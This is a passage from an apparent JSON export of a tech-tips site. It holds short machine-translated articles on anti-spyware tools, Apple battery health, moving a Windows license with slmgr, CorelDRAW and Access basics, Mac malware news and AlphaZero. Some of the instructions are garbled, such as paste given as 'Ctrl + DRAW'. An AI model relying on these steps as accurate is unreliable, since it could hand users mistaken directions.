currently running in memory or use Custom Scan to select the scanned and checked parts (flash drive, internal / external hard drive, selected folder, etc. .).\nThis antispyware tool can also delete temporary Windows files before starting scanning, not scanning folders, scanning from the right-click context menu and closing open web browsers before scanning. With the free version, users must manually scan the computer and update, but if you want to run automatically, users must upgrade to the pro version.\nDownload SUPERAntiSPyware\n6. Malwarebytes | Download     Malwarebytes is another anti-spyware software that is easy to use and often finds more malicious than similar programs. It scans through registry values ​​and keys, files and running processes. In addition, the software has an additional heuristics analyzer to find unwanted programs.\nWhen the scan is complete, Malwarebytes will tell you where to find the spyware, then the user will choose the location to scan with just a few clicks. Malwarebytes can also scan each file and folder as well as the entire hard drive from the right-click context menu in Windows Explorer. There is an option to scan archives, skip some files, directories and scan rootkits.\nSee also: Differentiating viruses, trojans, worms and rootkits\nThe software will automatically update, schedule specific scans and automatically check where the spyware is located, these features are only available in the premium version.\n7. Avast Free Antivirus | Download     Avast can detect and remove spyware before users know its existence. What makes it different from the above antispyware software is that it is always up to date to find new threats.\nThis software has many scanning options like CyberCapture to block unrecognized files, use Hardened mode to lock security, scan unwanted programs, scan from Windows Explorer, remove files, folders, URLs, and more.\nSee also: 10 ways to shorten URLs in the browser\nIn addition, Avast has a Wi-Fi checker, VPN client, garbage removal tool, software updates and web and mail protection tools. Avast has two free and paid versions, both of which can combat malware.\n8. AVG AntiVirus Free | Download     AVG is another popular antivirus program that checks and removes not only spyware but also ransomware, viruses, and many other malware, all automatically and for free.\nSee also: Detecting and preventing Ransomware with CyberSight RansomStopper\nAVG not only protects your computer but also protects your web and email activities. You can perform a full system scan, scan at boot-time scan or custom scan. However, it also has a button to immediately start checking spyware software on all removable devices.\nAnother unique feature of AVG is the Deep Scan option, which runs slower but more comprehensively. You can configure to identify files by content, not by file extensions. This feature is useful if spyware uses fake or hidden tails. Deep Scan can open and scan over 20 types of archive files, more so than most other spyware scanners that usually only support other popular archive files like ZIP and RAR. One thing worth mentioning about AVG is that it is able to scan files in order in the hard drive to increase scanning speed.\n9. Trend Micro HouseCall | Download     HouseCall is a simple spyware scanning software that does not use a lot of system resources or disk space but still provides a full scan against malware. Just press the scan button to start a quick scan by default or access the settings to change the spyware test site, such as checking certain folders or drives.\n10. SpywareBlaster | Download     SpywareBlaster is different from the other programs in the list because it does not scan existing spyware on the system, it will notify users of new threats before they can access the system.\nOn the software, enable web browser protection to combat malicious scripts, web behavioral tracking cookies. It does this by activating a list of previously created bans (users can update this list at any time) for certain websites, cookies and scripts.\nSee more: 3 ways to prevent websites from stopping your location on Google Chrome\nUsing System Snapshot to make a backup of system settings in case spyware changes, you can restore the backup to the normal setting. In addition, the software also has some spyware protection tools such as Hosts Safe to backup and encrypt archive files (one of spyware's targets), Adobe Flash blocker for Internet Explorer and there is a custom ActiveX list blocking rules.\n11. Emsisoft Emergency Kit (EEK) | Download     \nEmsisoft Emergency Kit is portable antispyware software (about 700 MB). This software can run anywhere on the system and scan to detect and destroy malware such as spyware, adware, worms, keyloggers, etc. The reason it is on this list is because it is software portable (no installation required) and can scan spyware being loaded into memory.\nEEK can also check for spyware in the registry and other places that can be infected. There are also a number of options to search for unwanted programs and rootkits.\nThis antispyware utility also supports a number of other features such as scanning email data files, finding spyware in archived files such as CAB, ZIP and excluding or scanning only certain file types. There are two versions of this tool - one is a normal application with a user interface and one is a command line utility useful for automatic scanning or batch scanning.\n12. Spybot - Search \u0026amp; Destroy | Download     Spybot is great antispyware software for advanced users because it requires more skills. For newbies, you should use the above mentioned antispyware software. One of Spybot's most notable features is that it blocks common threats in different web browsers, easily scanning security holes with Immunization.\nSee also: Find security holes on every website with Nikto\nAnother useful feature of Spybot is to disable tracking cookies that can affect users' privacy with just one click. Of course, Spybot can also \"find and destroy\" spyware, using a system scanner. It can also scan with a specific file and not only scan the current user account but also scan other user accounts.\n13. Dr.Web CureIt! | Download     The Dr.Web CureIt! is portable antispyware software so you don't need to install it and just leave it on the flash drive or other portable device. Users can scan the whole computer or check for spyware in specific places, such as in Windows system folders, temporary files, Documents folders, RAM and some other places.\nIn addition, users can manually add other locations such as the second hard drive or folder as well as scan the installation and storage packages inside. Dr.Web CureIt! has a slightly larger weight than other tools (over 150 MB), but it can also scan some other types of malware like adware, dangerous software, hacking tools, dialer, etc .\nNote: This program is only free for home users. You must purchase Dr.Web CureIt! If used for other purposes.\n14. ComboFix | Download     \nComboFix is ​​anti-spyware scanning software on demand. After downloading, simply open the ComboFix.exe file to immediately start the whole process. ComboFix actually backs up the Windows Registry and then creates a System Restore point before scanning. The scan will take place automatically and the user will see the results in the Command Prompt.\nSee more: 12 ways to open CMD - Command Prompt easily on Windows 10\nWhen the spyware scanning process is completed, the log file is created in C: ComboFix.txt. Open to see if spyware is detected and removed and spyware detected but not removed (for these spyware you must manually remove or use another tool). ComboFix only works on Windows 8 (does not work on windows 8.1), 7, Vista and XP.\nSee more:\nCompletely remove Adware and Spyware on your system 8 indications that the computer is infected with spyware Difference between Virus, Spyware and Malware ncG1vNJzZmismaXArq3KnmWcp51kfnV5zKiqrWWVm7Omr9OirZ5lkaPBqr%2FPsq6aqpViwLCy07CYq50%3D\n","link":"/post/14-most-effective-anti-spyware-software/","section":"post","tags":null,"title":"14 most effective anti-spyware software"},{"body":"After the blowback, Apple added a Battery Health feature to the iPhone, revealing how well -- or poorly -- your iPhone battery is performing, and letting you know when it's time to have the battery replaced.\u0026nbsp;\nA quick note about Optimized Battery Charging You likely noticed the option to turn Optimized Battery Charging on or off when viewing the battery health screen on your Watch or iPhone. I suggest turning it on to help extend the overall life of your battery and prevent degradation.\u0026nbsp;\nWhen turned on, that Apple Device will learn your charging routine and instead of immediately charging that device to 100% and keeping it there overnight, it will charge and hold at 80% until right before you typically take your device off the charger, which is when it will complete charging.\u0026nbsp;\nIn turn, Optimized Battery Charging limits the amount of time the battery is kept fully charged -- something that\u0026nbsp;over time can be harmful to the battery's health.\u0026nbsp;\nThis same feature is also coming to\u0026nbsp;AirPods\u0026nbsp;($159 at Apple)\u0026nbsp;when iOS 14 is released. Pretty cool stuff.\u0026nbsp;\nFrom a\u0026nbsp;brand-new messages app and upgraded Safari on the Mac, new\u0026nbsp;health features on the Apple Watch\u0026nbsp;to\u0026nbsp;six features in iOS 14 you're sure to love, there are plenty more changes coming to Apple hardware this fall.\nEven better news, the battery checkup tool is coming to the Apple Watch WatchOS 7, while the MacOS Big Sur is getting new battery stats this fall.\u0026nbsp;\nHere's how to find more insight into the longevity of your iPhone and Apple Watch battery, and use the new Mac battery tools.\u0026nbsp;\n  Inspect your iPhone's battery status The process for checking your iPhone's battery is just as straightforward in iOS 14 beta as it was when Apple first introduced the feature in 2018. Follow these steps on your iPhone:\n1. Open the Settings app.\n2. Scroll down and select Battery.\n3. Tap Battery Health, where you'll find a report detailing your battery's health percentage, and any suggested steps you can take to improve performance.\u0026nbsp;\nIf iOS determines through its diagnostics that you need a new battery, the software that slows performance will kick on. The battery health app will also\u0026nbsp;recommend getting it replaced, a task that can cost up to $80.\nWhere to find your Apple Watch Battery Health tool You'll need to have WatchOS 7 installed in order to review your battery's status. Currently, that means you'll need to take part in the developer program. Apple will run a public beta program for the Apple Watch sometime in July if you don't have a developer account, or you can wait until the official release this fall.\u0026nbsp;\n1. Open the Settings app.\u0026nbsp;\n2. Scroll down and tap on Battery.\n3. Tap Battery Health.\nOn the next screen, you'll see a percentage indicating how healthy your battery is, as well as any advice on how to improve it.\u0026nbsp;\n  View battery usage history on your MacBook ($819 at Back Market) Apple had already added a Battery Health feature to the Mac with the release of MacOS 10.15.5 in April of this year, and with MacOS Big Sur, Apple brings new tools to help reveal which apps are draining your MacBook. It's the first time this kind of information has been available on the Mac, allowing you to view usage over the last 24 hours or 10 days. Here's what to do.\n1. Open System Preferences, either by clicking on the Apple logo in the menu bar at the top of your screen or in the Applications menu.\u0026nbsp;\n2. Click on the Battery option.\u0026nbsp;\nThe new battery section will graph and chart your battery usage, similar to what you see in iOS or iPadOS right now, letting you know if there's an app that's running in the background and causing the excess drain.\u0026nbsp;\nIf you want to view your Battery Health right now, you can open System Preferences \u0026gt; Power Saver and click on the Battery Health button at the bottom of the window. You'll see the health status of your Mac's battery, as well as have the option to turn off Battery Health Management; a feature that will adjust performance and the maximum charge of your MacBook's battery based on how you use your laptop.\u0026nbsp;\n ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGaakanBpr7YZp%2BemZyptW67xWawqK2iYraxtM6nnGalkZh6orrDZpipqJyaerit05yf\n","link":"/post/guide-to-check-battery-status-of-iphone-and-apple-watch/","section":"post","tags":null,"title":"Guide to check battery status of iPhone and Apple Watch"},{"body":" This wikiHow teaches you how to add a comment to a Microsoft Word document in a variety of ways. Double-click a Word document you wish to change. Doing so will open the document in Microsoft Word.\nMethod 1of 4:\n  Double-click a Word document you wish to change. Doing so will open the document in Microsoft Word.\n  Click and drag your cursor across some text. This will highlight the text. You'll want to highlight everything on which you wish to leave a comment (e.g., an entire sentence or paragraph).\n  Right-click or two-finger click the selected text. Doing this will prompt a drop-down menu.\n  Click New Comment. It's at the bottom of the right-click menu.\n  Type your comment. It will appear on the right side of the Microsoft Word window.\n  Click anywhere on the document. Doing so will cement your comment, allowing you to move on to the next section of text that needs commenting. Be sure to save your document before closing, or your comments won't be saved.  Method 4of 4:\n  Double-click an edited Word document. Doing so will open the document in Microsoft Word.\n  Hover the cursor over a comment. You'll see a couple of options appear below the comment.\n  Click Reply. It's the leftmost option below your selected comment.\n  Type in your reply. It will appear indented below the original comment.\n  Click anywhere on the document. Doing so will cement your reply to the comment.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiecKopKadnql6qrqMpqCcqp%2BovKfAjLCmq5w%3D\n","link":"/post/how-to-add-a-comment-in-microsoft-word/","section":"post","tags":null,"title":"How to Add a Comment in Microsoft Word"},{"body":" After installing a 3rd party CD/DVD burning program, Windows Disc Image Burner menu selection doesn't appear after right clicking on an ISO file because this program associates itself with ISO files and makes itself the default program for...\nMethod 1of 3:\nEnabling Windows Disc Image Burner  Click the Start button.\n  Write Control Panel and click it. Or, click the downward arrow, find Control Panel under Windows System header and click it.\n  Click the Programs.\n  Click the Default Programs.\n  Click the Set Your Default Programs.\n  Wait for list to show up and then select Windows Disc Image Burner in the left hand column.\n  Click Set This Program as Default.\n  From now on Windows Disc Image Burner menu selection should appear after right clicking on an .iso file.\n Method 2of 3:\nRunning Windows Disc Image Burner From Graphical Interface  Right click on the ISO\u0026nbsp;file which you want to burn to a CD/DVD.\n  Click Burn Disk Image option. Clicking this option will open Windows Disc Image Burner which you can use very easily to burn ISO file to CD/DVD\n Method 3of 3:\nRunning Windows Disc Image Burner From Command Line  Click the Start button.\n  Write cmd and click it.\n  Now you can use the following command to burn .iso images to CD/DVD: isoburn /q drive:file.iso   Where \"isoburn /q\" is the command and replace \"drive\" with your drive letter or the complete path. For example if windows8.iso file is located in your D drive and you want to burn it, the correct command will be: isoburn /q d:windows8.iso   Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyrrKdlp567pbvWrGSdoaOYeqq5wKCcZpqlp7umvoyipWavmaOxsMPSZm9q\n","link":"/post/how-to-enable-run-windows-disc-image-burner-in-windows-8-1/","section":"post","tags":null,"title":"How to Enable / Run Windows Disc Image Burner in Windows 8.1"},{"body":"Recently, Twitter has released a new feature called Share via Direct Message. This feature allows users to share Tweets in private mode.\n1. Share private Tweet on the Web Step 1:\nOn the Tweet you want to share privately, click More (3 dots icon).\n  Step 2:\nClick to select the Share via Direct Message option from the dropdown menu.\n  Step 3:\nEnter the username or group you want to share Tweet with, then click Next.\n  \nStep 4:\nAdd any comment you want, then click Send to share the tweet in private mode on the message.\n  2. Share private Tweet via App 2.1. Through Direct Message Step 1:\nClick and hold the Tweet you want to share privately, wait until the popup menu appears.\nStep 2:\nHere you click Send via Direct Message.\n  \nStep 3:\nSearch and select the username or group you want to share Tweet.\n  Step 4:\nAdd any notes you want, then click Send to share private Tweets.\n  2.2. Share via Message Step 1:\nClick on the small envelope icon as shown below:\n  Step 2:\nSearch and select the username or group you want to share Tweet.\n  Step 3:\nAdd any notes you want, then click Send to share private Tweets.\n  Refer to some of the following articles: Tricks using the Hashtag on Twitter Simple way to create, set up a Twitter account Tricks or certain Twitter users should not be ignored Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmec%2BroK%2BZpJp6tcPEnqs%3D\n","link":"/post/how-to-share-private-tweet/","section":"post","tags":null,"title":"How to share private Tweet?"},{"body":"If you've ever built a computer and bought a Windows license, you probably don't want to buy another license for the next computer, right? With the slmgr command , users can deactivate copyrighted Windows on the old PC and then reactivate on a new computer.\nDeactivate copyrighted Windows on an old PC instead of buying a new license License of Windows license is very expensive. With prices ranging from $ 100 to $ 200 (2,300,000 - 4,600,000 VND), an official Microsoft product key costs the same price as a 1TB SSD, 16GB RAM or a motherboard. Therefore, paying for another license to use on a new computer when you want to stop using an old machine is not a good idea. The good news is, it is possible to disable the license on the PC that is no longer intended to be used, then transfer that license to a new computer.\n  The slmgr command helps to do this simply, but there are a few limitations to keep in mind. The slmgr command does not work for OEM keys (the key that came with the computer you purchased in the store). Manufacturers that embed these keys into the original hardware and transferring them to new devices will not help. And although slmgr can deactivate any retail key (the key the user has purchased separately), it will only activate a key that matches the installed operating system.\nWindows 7 and 8 keys will still activate Windows 10, but only through the standard activation process and not the slmgr command . Entering the key of the 'Pro' version on the 'Home' version with slmgr will also fail. To keep things as simple as possible, transfer the Windows 10 Home key to a Windows 10 Home device and transfer the Windows 10 Pro key to a Windows 10 Pro device. If not, users will have to perform some additional steps.\nHow to cancel Windows copyright on old PC Before you start, make sure you've saved Windows Key somewhere. If there is a product box or digital receipt, get the key from there. On the other hand, there are a number of ways that users can recover product keys from the old PC, including using Nirsoftult's Produkey.\nTo deactivate copyright on the old PC, users will need to open the Command Prompt with admin rights. Having an admin account is not enough. Users will need to click on the Start button and enter cmd in the search box. Then click the 'Run as administrator' option on the right.\n  In the Command Prompt that appears, run the following command and then restart the computer:\nslmgr.vbs /upk    If you plan to sell or give it away, users can also delete the key from the registry. It is not necessary to deactivate, but it is a good idea to protect the key.\nEnter the following in the Command Prompt:\nslmgr.vbs /cpky    If the commands are successful, the old PC will be deactivated the Windows license. Users can still use Windows, but it is no longer considered a genuine copy of Windows and certain features will no longer work (such as personalizing the desktop, for example). If you want to activate Windows, users can buy a new key (probably from the Windows Store) and import it into the machine.\nHow to activate Windows license on a new PC To enable Windows license with slmgr, open Command Prompt with admin rights and run the following command:\nslmgr.vbs /ipk #####-#####-#####-#####-#####  Replace ##### - ##### - ##### - ##### - ##### with key.\n  If you try to use a key that has not been deactivated from the previous PC, everything seems to work at first. But in the end, the activation process will fail and users will receive notifications like 'not genuine' and 'renew your PC'.\nAgain, this command will only work if the key exactly matches the operating system in use. If there's Windows 10 Pro key, but installing Windows 10 Home, users will encounter the 'Microsoft Windows non-core edition' error.\n  And if you try to use the previous version key, such as Windows 7 or 10, users will receive an invalid key error.\nThe best thing to do in those cases is to open the settings, click the 'Activate Windows' option , then enter the key manually.\n  Note that if you use the Pro version key and to activate a copy of installed Windows 10 Home, using this method will automatically upgrade to the Pro version.\nRemember that users can only use Windows keys with one installation. If you want to keep the old machine after building a new machine, you will need to purchase a second Windows license.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZLChnpm8uL%2BMamdmpJmYsq%2B%2FxGarqGWRo7y1tMSrZJynnaXCtbHR\n","link":"/post/how-to-transfer-windows-10-license-to-another-computer/","section":"post","tags":null,"title":"How to transfer Windows 10 license to another computer"},{"body":"You want to know the UV index where you live or anywhere in the world. You can do it right away without installing 3rd party applications.\nAll you need to use is the iPhone's default Weather application. With this application you can check UV index anywhere in the world.\nAs you know, the default Weather application for iPhone has an extension that gives details about the weather. You can access it by scrolling the screen down. Here you can find information about UV index.\nHow to view UV index on iPhone using Weather app\nFollow these steps to check the UV index of different locations around the world.\nOpen the \"Weather\" application on iPhone.\nThe application will display the weather for the current location. However, you can use swipe to see the weather of other locations.\nNote: If the list does not have the location where you want to see the UV index, you can add it to the list by clicking on the three dash icon, then clicking on the + sign. Location will be added to the list. It will be at the end, to see it first, you can use drag and drop and move it to the top.\nScroll to the position screen to see the UV index down to access detailed weather information. Find 'UV Index' to see UV index information for that location.\n  With this UV index you can have pre-departure preparations such as sunscreen, hats, sunglasses, masks, solar panels or any other means to avoid UV rays. Or if you want tanned skin, you can also choose the best time to get out.\nWhy should care about UV index?\nUV index is a standardized measurement of ultraviolet radiation intensity from the sun.\nMost health organizations recommend limiting the time of exposure to high UV index. And if at least should wear protective clothing, sunscreen, hats or glasses. With UV index recording, iPhone helps you prepare for outdoor situations in the most comprehensive way.\nSee more:\nUVLens application - protects you from harmful UV rays Accurate weather forecast applications on the phone Refresh the iPhone keyboard with Next Keyboard How to predict your child's face in the future View saved passwords on iOS 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRuwdVmoKecla16sLqMoqehp56a\n","link":"/post/how-to-view-uv-index-on-iphone/","section":"post","tags":null,"title":"How to view UV index on iPhone"},{"body":"After Messenger, it seems that Facebook is developing Dark Mode for the Facebook application on Android. This information was very early revealed by Jane Manchun Won, who often discovered Facebook's new features, revealing along with a dark-skinned snapshot of Facebook allegedly testing.\nPreviously, at the F8 event for programmers, which took place in April, Facebook announced that Dark Mode will appear on Facebook's new interface in both web and mobile platforms.\n  According to a photo revealed by Jane Manchun Won, all of the icons, Facebook's background in the dark background will be gray and less colorful when in normal mode, there will be no more green markings.\nAccording to Wong, currently only Group tab on the dark interface is the most stable display, while others still appear alternating black and white and not beautiful.\n  This photo captures the dark interface of the Facebook application on Android. If officially released, the Facebook application on iOS will also be equipped with Dark Mode.\nAccording to Jane Manchun Won, the new dark background interface for Facebook is in its early stages of development, it is still unclear when it will officially be released.\nFacebook will remove games from the Messenger application Facebook develops devices that turn thoughts into text, words Facebook is about to rename new names for Instagram and WhatsApp ncG1vNJzZmismaXArq3KnmWcp51kuaatyp6bZp6RmLKju86kZJ2ZoqB6o63CpJ6rp6WjsW61za2cq56RmLJuss6rZJqmlKe8qrCMoqas\n","link":"/post/leaked-facebook-dark-background-interface-for-android-ios/","section":"post","tags":null,"title":"Leaked Facebook dark background interface for Android / iOS"},{"body":"After Mac Defender went to MacGuard, it was turned over by security vendors, the MacShield \"cousin\" was born with the same method of deceiving Mac OS X users, infiltrating the system.\n  Mac Shield interface is very similar to a real security program, tricking users into spending money to buy licensing rights - Photo: ESET\nMacShield is a variant of the original malicious code Mac Defender discovered in mid-May, which has the main function of faking security programs for Mac OS X but actually infiltrating the system, Pave the way for a variety of other trojans. The game \"cat and mouse\" is taking place between hackers and Apple. MacShield is the fifth variant after the first releases including MacDefender, MacProtector, MacSecurity and most recently MacGuard variants that can be installed on the system without an administrator password.\nMacShield does not change much of the interface in addition to some message content to deceive users. However, the name MacShield forged a Centurion Technologies security program dedicated to Mac OS X operating system is easy to confuse users who lack vigilance.\nApple officially released a patch for Mac OS X 10.6 (Snow Leopard) on May 31, and after 24 hours, a new variant appeared. Apple continues to update the anti-variant patch, the malicious owner thinks again. Users are advised to note information about the variant of malware and immediately update the official patch released by Apple.\nNote: in the Apple-released MacDefender update, a new option called \" Automatically update safe downloads list \" ( Automatically updates the safe download list ) is located in the Security tab in System Preferences . This setting helps Mac OS X to automatically check after every 24 hours or after each system boot to see if there is any latest security update from Apple, reducing delays that may be dangerous to access. manual date.\n  New security settings in Mac OS X 10.7 update\nWhile it is an important setting, there is a slight error that could cause this security update to crash. When opening the Security tab window in System Preferences for more than 30 seconds, even if the new option is selected, it will be deselected. Therefore, readers should keep in mind when adjusting this setting.\nncG1vNJzZmismaXArq3KnmWcp51kuqK41pqpnmWkna61ecCtq5qbm6h6rq3CZqasZahirqWw0maaqK2jnru0\n","link":"/post/malware-that-attacks-mac-os-x-adds-cousins/","section":"post","tags":null,"title":"Malware that attacks Mac OS X adds 'cousins'"},{"body":"I. Managing Objects in CorelDRAW X8 Object Manager allows you to visually manage the objects in the drawing. With Object Manager you can quickly select an object, rearrange the display order of objects, move – copy – delete – rename – hide – lock objects…\nTo open Object Manager, go to Object =\u0026gt; select Object Manager.\n  Looking at this Object Manager you can see we have all five specific objects:\nA blue panel is at the top. The yellow text is on the second layer. A Bitmap is in the third layer. A red ellipse is located on the fourth layer. An orange freestyle object holds on the last layer. Also your drawing has a page and also a layer. II. Basic operations in CorelDRAW X8 1. Create a new drawing Similar to Microsoft Word, CorelDRAW X8 program also provides us with many ways to create a new drawing. Below are three commonly used ways:\nMethod 1: Go to File =\u0026gt; select New. Method 2: Click the New icon on the standard toolbar. Method 3: Press Ctrl + N key combination. No matter which of the three methods you choose, the Create a New Document dialog box will appear. You customize the necessary parameters and then select OK.\n  For details on the Create a New Document dialog box, see post #3 in this Series.\n2. Open a saved drawing Similar to creating a new drawing, there are three ways to open a saved drawing:\nMethod 1: Go to File =\u0026gt; select Open. Method 2: Select the Open icon on the standard toolbar. Method 3: Press Ctrl + O key combination. The Open Drawing dialog box appears as shown below, select the file to open and then select =\u0026gt; Open.   3. Save the drawing The program CorelDRAW X8 allows you to save drawings in many different formats such as *.cdr, *.cdt, *.pdf, *.ai, *.cmx…and *.cdr is the default format of the program . There are three ways to save a drawing in CorelDRAW\nMethod 1: Go to File =\u0026gt; select Save. Method 2: Click on the Save icon on the standard toolbar. Method 3: Press Ctrl + S . A Save Drawing dialog box appears as shown below. Name the drawing, choose a format, select a version, and then select Save.\n  File name: The name of the file. Save as type: File format. Version: The version that you will save. Attention:\nYou cannot use the Save command to save CorelDRAW files into image formats such as *.png, *.jpeg, *.jpg, *.Gif… but if you want to save them as these image formats you must use the Export command. The CorelDRAW program can only read files whose version is lower or equal to it. When you save at a lower version than the one you use, the effects are more likely to be lost When you save the drawing, the program will automatically create an additional file… For example, the name of the drawing is demo_tipsmake, the backup file name will be Backup_of_demo_tipsmake. III. Basic operations with objects 1. Select All . Command The Select All command is used to select all objects in a particular drawing:\nTo select all objects in the drawing, go to Edit =\u0026gt; select Select All =\u0026gt; select Object To select all objects that are tables or text, go to Edit =\u0026gt; select Select All =\u0026gt; select Text Usually this command is used when you import a certain file from the outside and want to quickly select a certain type of object. For example, if you import the *.pdf file but you only use the text contained in this *.PDF file, the fastest way is to use the Select All command with the Text option\n2. How to copy an object There are many ways to copy an object in CorelDRAW, I would like to introduce to you the following three ways:\nMethod 1: This method is very familiar to everyone, but I do not recommend using it because if you copy too many objects, it can overflow memory.\nStep 1: Select the object to copy. Step 2: Go to Edit =\u0026gt; Copy or select the Copy icon on the standard toolbar or press Ctrl + C Step 3: Go to Edit =\u0026gt; Paste or select the Paste icon on the standard toolbar or press Ctrl + DRAW Method 2: Very convenient and fast is most used in practice:\nStep 1: Select the object to copy. Step 2: Drag the object to a new location and right-click before releasing the mouse Method 3:\nStep 1: Select the object to copy. Step 2: Click the 'plus' key on the keyboard. The new object is created right on top of the old object and you can drag it to another location if needed. 3. Hide command In the design, when your drawing has a lot of objects, some of which are unused, you can hide it to easily manipulate the remaining objects.\nProceed as follows:\nSelect the object to hide then go to Object =\u0026gt; select Hide =\u0026gt; select Hide Object. When you want to show the object again, go to Object =\u0026gt; select Hide =\u0026gt; select Show All Object.\n4. Lock command The Lock Select command allows you to lock an object. Once the object is locked, you can't do anything with it from the unlock operation.\nProceed as follows:\nMethod 1: Select the object to be locked, then go to Object =\u0026gt; select Lock =\u0026gt; select Lock Object. When you want to unlock, select the object and then go to Object =\u0026gt; select Lock =\u0026gt; select Unlock Object. Method 2: Right-click on the object and select Lock or Unlock. When the object is locked, the surrounding locks will appear.\n  5. Covert To Curves . Command The Covert To Curves command is used to turn an object in CorelDRAW into a free object. Usually the command is used on objects drawn with the Rectangle, Ellipse, Polygon tools.\nAfter the transformation is complete, you can freely edit it to turn it into the shape you want. Clever manipulation of this command with the Shape tool can save you a lot of time and effort.\nFor example, you can turn a rectangle into a flowerpot, a circle into an apple.\n  How to do the Covert To Curves command:\nMethod 1: Select the object to convert =\u0026gt; go to Object =\u0026gt; select Covert To Curves Method 2: Select the object to be converted =\u0026gt; press Ctrl + Q 6. Convert Outline to Object command The Convert Outline To Object command is used to turn a line into an object, and once it is an object, you can fill it and fill it with Outline.\n  In case this command is executed on an object that is not a line, the Outline of that object will be converted to an independent object.\n  How to do the Convert Outline to Object command\nMethod 1: Select the object =\u0026gt; go to Object =\u0026gt; select Convert Outline To Object Method 2: Select the object and then press Ctrl + Shift + Q Conclude Through this article, I have guided you through the basic operations with the software and the basic manipulations with objects that anyone when working with CorelDRAW X8 must be proficient.\nIn the next article, I will show you how to use the Pick tool and the Transformations command group\nGood luck. See you in the next post.\nCorelDRAW CorelDRAW X8 ncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCgp59dpK%2BrscKtqmaZnpl6o63Soppmp6Cav6LAyKilrGWnnsGpec6boZ6bpKh6qrqMnKarnZyZv6LD\n","link":"/post/managing-objects-and-basic-operations-with-objects-in-coreldraw/","section":"post","tags":null,"title":"Managing objects and basic operations with objects in CorelDRAW"},{"body":"Access allows you to print the layout of tables or any database objects you have specified (such as queries, forms, macros). Doing this uses a feature that Access calls Documenter. To print a report sort, select the Analyze option from the Tools menu. Access displays a submenu and from there select Documenter. Access displays the Documenter dialog box as shown in Figure 1.\n  Figure 1: Documenter dialog box\nIf you have an object selected before you select Documenter, the type of object you selected modifies the Documenter dialog tab that Access displays. However, you can define another object, just click on the appropriate tab. Access displays the defined object according to the category you select.\nNext, check the boxes next to objects or objects for which you want a printed report. For example, if you want to have a report layout for the Business Customers table (Figure 1), you should make sure the check box to the left of the Business Customers object is checked. Then, click your mouse on the Options button. Access displays the Print Table Definition dialog box as shown in Figure 2.\n  Figure 2: Print Table dialog box Definition.\nThe Print Table Definition dialog box allows you to define parts of the definition table that you want Access to print. In the first section, determine the attribute table you want Access to include the print data. The next two sections allow you to specify the level of detail for fields and indexes. (Indexes are a form of keys for tables. They are not commonly used, except for specialized databases. You create indexes when designing tables.) Make adjustments if necessary. set and then click your mouse on the OK button.\nNote: If you choose to print the arrangement of other database objects (outside the table), Access replaces the Print Table Definition dialog box with an appropriate dialog for the selected object type. Click your mouse on the OK button in the Documenter dialog box. Access checks the table (or the database objects you selected) and gives a print definition. After a short time, Access displays the printed data on the screen as shown in Figure 3.\n  Figure 3: Print Definition for a table.\nBefore printing the definition from the printer, Access gives you a chance to view it on the screen. This view is print preview (preview before printing); It allows you to make sure everything is fine before printing. Notice that Access reduces the number of tools on the toolbar at the top of the screen. There are only a few tools that you often use the following show:\nPrint : This tool displays the Print dialog box, with the goal of reports sent to the printer.  Zoom : There are two zoom tools. A tool that looks like a magnifying glass; it alternates between close-up viewing and the entire print page. Another tool is a percentage tool; It allows you to specify a specific percentage for exaggeration.  Pages Per Screen . This category has 3 tools, called One Page, Two Pages, and Multiple Pages. These 3 tools allow you to determine how many print pages are displayed on the screen at the same time.  Close Window . This tool cancels the report printing and returns to the Database window.\n For more information about the Zoom tool, you can use the mouse to zoom in or zoom out. Notice that when you move it on the printed page, the mouse pointer appears as a magnifying glass. If you click the mouse, Access displays alternate close-up or full-page views. When you see the report (Figure 3), it is in close-up mode. If you want to see the whole page, just click your mouse on the printed page. The screen appears as shown in Figure 4.\n  Figure 4: View the entire page\nIf you use the mouse pointer to click on the printed page again, you will see the page viewed in close-up at the cursor where you clicked.\nWhen you are ready to print, click your mouse on the Print tool. In turn, Access prints the report from the default printer. Instead, if you want to close the print data, just click your mouse on the Close tool.\nncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYn9xfJJmo56ro6S7bn6WZqeroZ6ptq%2BzjKKln6eioq61tc6nZJ%2BnomK8o7bEnKus\n","link":"/post/ms-access-2003-lesson-27-printing-information-for-objects/","section":"post","tags":null,"title":"MS Access 2003 - Lesson 27: Printing information for objects"},{"body":"DeepMind Technologies, Alphabet's AI subsidiary - who has been working on AI for many years, has created a new artificial intelligence platform called AlphaZero. This AI takes advantage of deep neural networks to quickly learn to play Go, chess and Shogi flags without any human intervention.\nAlphaZero was brought out to compete with the world's best AI on chess games, including:\nStockfish: AI world champion chess game. Elmo: Winner of the 27th World Computer Shogi Championship in 2017. AlphaGo Zero: AI is said to be the most powerful Go player in history, thanks to Deep Mind himself. In all three competitions, AlphaZero is only provided with basic knowledge of the rules of the game. After that, he taught himself by playing with himself millions of matches. Initially, AlphaZero only tried many random tactics to win, then through a trial and error process called \"reinforcement learning\", it gradually became aware of which strategies were most effective.\nIn the course of training and training, AlphaZero uses 5,000 tensor processing units (TPU - 1 single unit can handle more than 100 million photos on Google Photos every day) for 9 hours with chess, 12 hours with Shogi flags, and 13 days with go flags.\nAfter completing the learning process, AlphaZero is allowed to play against other opponents. And of course, AlphaZero quickly eliminated opponents to become the strongest player in history.\n  The DeepMind team has equipped AlphaZero with a system combined by learning algorithms and the \"Monte Carlo tree search\" (MCTS), a method to help Go players to determine which steps to take next, To help him learn to play chess and Shogi flags. The results show that MCTS can be adapted into other complex games.\nAn interesting thing is that AlphaZero does not need a person to guide, but does self-study tactics and gives ideas that people have never seen before. AlphaZero has an aggressive playing style and a high degree of flexibility that surprised the chess player Matthew Sadler.\nWith unique tactics and abilities, AlphaZero becomes a great chess teaching tool, encouraging the creation of unique strategic gameplay unprecedented for those who want to learn chess.\nSee more:\nThis is how AI defeats the best Dota 2 players Virtual broadcasters run on the world's first artificial intelligence, just like real people This is the first advertising in the world written entirely by artificial intelligence 